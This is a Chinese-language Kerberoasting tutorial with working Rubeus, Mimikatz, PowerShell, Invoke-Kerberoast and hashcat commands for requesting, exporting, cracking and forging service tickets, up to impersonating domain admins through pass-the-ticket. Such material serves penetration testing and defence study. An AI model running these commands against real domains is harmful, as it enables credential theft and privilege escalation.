Kerberoasting

Kerberos 协议在请求访问某个服务时存在一个缺陷,Kerberoasting 正是利用这个缺陷的一种攻击技术。首先,我们来整体了解一下正常情况下一个用户请求访问某个服务时会经过哪些步骤:

  • 首先用户将 AS-REQ 数据包发送给 KDC 密钥分发中心,要对一个域进行身份验证。
  • KDC 收到用户的请求后会验证用户的凭据,如果凭据有效,则返回 TGT 认购权证,该 TGT 认购权证用于以后的 ST 服务票据的请求。
  • 如果用户想通过身份认证访问某个服务的话,那么他需要发起票据授予请求,请求中包含 TGT 以及所请求服务的 SPN 服务主体名称。
  • 如果 TGT 有效并且没有过期,那么 TGS 会从 TGT 认购权证中提取信息创建一个用于访问目标服务的一个 ST 服务票据,该 ST 服务票据使用服务账户的凭据进行加密。然后,域控制器开始查找哪个帐户在 ServicedPrincipalName(SPN)字段中注册了所请求的 SPN。
  • 用户收到包含了服务票据的 TGS 响应数据包。
  • 最后,服务票据会转发给目标服务,然后使用服务账户的凭据进行解密。

整个过程比较简单,我们需要注意的是,服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从 TGS 处请求 ST 服务票据。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

下面是Kerberoasting 攻击利用的几个步骤:

  • SPN 服务主体名称发现
  • 请求服务票据
  • 服务票据的导出
  • 服务票据的暴力破解

SPN 服务主体名称发现见SPN部分

请求服务票据

使用 Rubeus 工具

https://github.com/GhostPack/Rubeus

Rubeus 工具里面的 kerberoast 支持对所有用户或者特定用户执行 kerberoasting 操作,其原理在于先用 LDAP 查询于内的 SPN 服务主体名称,然后发送 TGS 包,最后直接打印出能使用 Hashcat 或 John 爆破的 Hash。默认情况下会打印出注册于用户下的所有 SPN 的服务票据的 Hashcat 格式:

Rubeus.exe kerberoast

使用 PowerShell 命令请求

为特定 SPN 请求服务票据的最简单方法是通过PowerShell

Add-Type -AssemblyName System.IdentityModel    # 请求服务票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/WIN-TL226LF48RT.corp.vk.local:3306/MySQL"
klist    # 列出服务票据

使用 Mimikatz 工具请求

可以使用 Mimikatz 请求指定 SPN 的服务票据

kerberos::purge    # 清除所有票据
kerberos::ask /target:MySQL/WIN-TL226LF48RT.corp.vk.local:3306    # 请求服务票据
kerberos::list    # 列出服务票据

服务票据的导出

使用 Mimikatz 工具导出

kerberos::list /export

该命令之后完毕后,会在 Mimikatz 同目录下导出后缀为 kirbi 的票据文件

使用 Invoke-Kerberoast.ps1 脚本

https://github.com/EmpireProject/Empire

Invoke-Kerberoast.ps1 脚本是 Empire 框架下的一个工具,其可以直接导出 Hashcat 格式的票据:

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat

服务票据的暴力破解

使用 tgsrepcrack.py 脚本

https://github.com/nidem/kerberoast.git

Tgsrepcrack.py 是 Kerberoast 工具集中的一个 Python 脚本,可用来对导出的服务票据文件进行离线破解:

# python2 tgsrepcrack.py <字典> <导出的服务票据>
python2 tgsrepcrack.py wordlists.txt xxxxxx.kirbi

使用 Hashcat 工具

如果格式不符合Hashcat的格式,需要做下调整。

hashcat.exe -m 13100 hash.txt wordlists.txt

服务票据重写&RAM注入

ST 票据使用服务密码的 NTLM 哈希签名,所以,如果票据散列值已被破解,那么就可以使用 Kerberoast 工具集中的 kerberoast.py 脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。

此外,许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下 Mimikatz 命令将新票据重新注入内存,以便通过 Kerberos 协议对目标服务执行身份验证。

kerberos::ptt PENTESTLAB.kirbi